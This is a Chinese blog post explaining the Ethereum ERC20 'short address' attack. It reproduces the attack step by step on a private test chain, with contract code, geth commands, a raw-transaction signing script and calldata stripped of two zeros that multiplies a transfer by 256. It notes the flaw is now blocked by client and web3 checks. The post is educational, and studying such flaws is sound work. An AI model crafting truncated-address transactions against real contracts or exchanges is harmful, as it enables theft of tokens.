1. 程式人生 > >智慧合約安全:短地址攻擊

智慧合約安全:短地址攻擊

昨天一位博友提到短地址攻擊的問題,感覺挺有意思的,就花了點時間研究了一下。

1.什麼是短地址攻擊

大家都知道,如果我們想呼叫智慧合約的函式,需要在交易的payload欄位中填充一段位元組碼。以ERC20的transfer()的函式為例,函式原型為:

function transfer(address to, uint amount) public returns (bool success);

我們需要通過一段68個位元組的位元組碼來呼叫該函式進行轉賬,比如:

a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

具體可以分解為3個部分:

  • 4位元組函式簽名:a9059cbb
  • to引數:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
  • amount引數:0000000000000000000000000000000000000000000000000000000000000001

大家可能注意到,這個轉賬地址有點特殊:最後兩個數字為0。

假如有個使用者“不小心”忘記輸入最後這兩個0了怎麼辦?這樣我們的輸入就只有67個位元組了。EVM是通過CALLDATALOAD指令從輸入資料中獲取函式引數的,因此它會先從後面的amount引數裡“借”兩個0來補足前面的地址引數。當它要載入amount引數的時候,發現位數不夠,會在右邊補0,參見以太坊原始碼:
在這裡插入圖片描述
所以,經過這麼一折騰,實際上EVM看到是下面這些引數:

  • 4位元組函式簽名:a9059cbb
  • to引數:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00(借0)
  • amount引數:0000000000000000000000000000000000000000000000000000000000000100(補0)

看到問題了沒?轉賬地址沒變,但是轉賬金額增大了256倍!如果你的轉賬地址後面有足夠多的0,那麼轉賬金額將會大得驚人~

但是有人會說,這沒啥毛用啊,難道智慧合約的作者會傻到不檢查你地址的餘額,就直接讓你提幣走人嗎?我猜想這跟目前中心化交易所的運營機制相關。考慮下面的場景:使用者充幣到交易所錢包,交易所又把這些幣轉移到了它們內部的合約賬戶中。等使用者發起提幣申請,並通過人工稽核後,再從合約中把幣打到使用者的賬戶中。

在這種情況下,交易的msg.sender就是交易所本身,因此可以通過餘額檢查。當然,這裡有個前提:你必須能夠通過人工稽核!

也就是稽核員失職。實際上,從沒有人成功利用過這個漏洞,最先發現這個問題的GNT專案組,也僅僅是觀察到一筆異常交易而已,並沒有產生任何實質性損失。網路上流傳的攻擊方法是:先找到一個裡面有足夠數量代幣的交易所賬戶,充1000個幣進去,然後再申請提1000個幣,就可以提出來256000個幣。但是,在我看來這似乎並不可行,如果有讀友能想出可行的場景,歡迎給我留言~

2.現在還能重現嗎?

能。

當然,不能通過常規的方式。不能通過remix,因為客戶端會檢查地址長度。也不能通過sendTransaction(),因為web3中也加了保護。但是,我們可以使用sendRawTransaction()。

2.1先寫一個簡單合約

pragma solidity ^0.4.25;

contract ABC {
    mapping (address => uint) balances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    constructor() public {
        balances[msg.sender] = 10000;
    }

    function transfer(address to, uint amount) public returns(bool success) {
        if (balances[msg.sender] < amount) return false;
        balances[msg.sender] -= amount;
        balances[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function getBalance(address addr) public view returns(uint) {
        return balances[addr];
    }
}

2.2解鎖賬戶

進入geth控制檯,解鎖第一個賬戶,用來部署合約:

personal.unlockAccount(eth.accounts[0])

2.3部署合約

在remix的Compile面板中,點選“Details”檢視編譯結果,把下面這段拷貝到控制檯上部署合約:

var abcContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);

var abc = abcContract.new(
   {
     from: web3.eth.accounts[0], 
     data: '0x608060405234801561001057600080fd5b506127106000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102da806100656000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a9059cbb14610051578063f8b2cb4f146100b6575b600080fd5b34801561005d57600080fd5b5061009c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061010d565b604051808215151515815260200191505060405180910390f35b3480156100c257600080fd5b506100f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610266565b6040518082815260200191505060405180910390f35b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015e5760009050610260565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820b995f589cfcbb99e7bf5f31b8c40c052004886078f8e985c624c7348ef4c1bde0029', 
     gas: '4700000'
   }, function (e, contract){
    console.log(e, contract);
    if (typeof contract.address !== 'undefined') {
         console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
    }
 })

2.4啟動挖礦

合約建立交易必須被打包執行後才能生成合約地址,在控制檯啟動挖礦流程:

miner.start()
admin.sleepBlocks(1)
miner.stop()

控制檯會打印出生成的合約地址:

Contract mined! address: 0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed transactionHash: 0xe167a7c105d486f5e772baafb35cef1c196d188378c86d854549fc58d60ba0ca

2.5生成ABI呼叫位元組碼

也就是交易的payload部分,可以通過getData()介面獲得編碼結果:

var abc = abcContract.at('0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed')
var abi = abc.transfer.getData('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00', 1)

產生的位元組碼序列如下:

0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001

2.6生成raw transaction

在上面的位元組碼中去掉兩個0,然後生成raw transaction:

const Web3 = require('web3')
const Tx = require('ethereumjs-tx')
const privateKey = Buffer.from('9a24cc556fe35c17f4be00e970bb7f7ad5c24b9853d8965d2a810e8c412b2a88', 'hex')

const txParams = {
  nonce: '0x01', //可以通過eth.getTransactionCount(eth.accounts[0])得到
  gasPrice: '5',
  gasLimit: '5000',
  to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed',
  value: '0x00',
  data: '0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001' //去掉了兩個0
  // EIP 155 chainId - mainnet: 1, ropsten: 3
  chainId: 111 //我搭建的私網ID是111,根據你自己的配置調整
}

var tx = new Tx(txParams)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))

得到簽好名的交易:

0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456

2.7傳送raw transaction

最後一步,通過sendRawTransaction()傳送交易:

eth.sendRawTransaction('0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456')

生成的交易hash值:

“0xac0173835fc1a2e4b00bd9ef82825289ec27ef36b6120f1ee4c84394c468185a”

啟動挖礦打包執行交易,然後檢視目標賬戶的餘額:

abc.getBalance.call('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00')

輸出結果:

256

Bingo!我們本來只轉了1個幣到這個賬戶,但實際上轉過來256個!成功復現了短地址攻擊問題。

我們可以通過eth.getTransactionReceipt()可以檢視event:
在這裡插入圖片描述
可以看到,轉賬金額確實變成了0x100。

3.還能薅羊毛嗎?

不能。

這個漏洞在2017年爆出後,各大交易所基本都在客戶端增加了地址長度檢查。

另外,即使它們不做地址長度檢查,web3中也增加了保護,如果地址長度不夠,會在前面補0:
在這裡插入圖片描述
我們可以測試一下:
在這裡插入圖片描述

4.總結

短地址攻擊是利用EVM在引數長度不夠時自動在右方補0的特性,通過去除錢包地址末位的0,達到將轉賬金額左移放大的效果。目前主要依靠客戶端主動檢查地址長度來避免該問題,另外web3層面也增加了引數格式校驗。雖然EVM層仍然可以復現,但是在實際應用場景中基本沒有問題。

參考:

https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95

https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md

https://vessenes.com/the-erc20-short-address-attack-explained/

更多文章歡迎關注“鑫鑫點燈”專欄:https://blog.csdn.net/turkeycock
或關注飛久微信公眾號:
在這裡插入圖片描述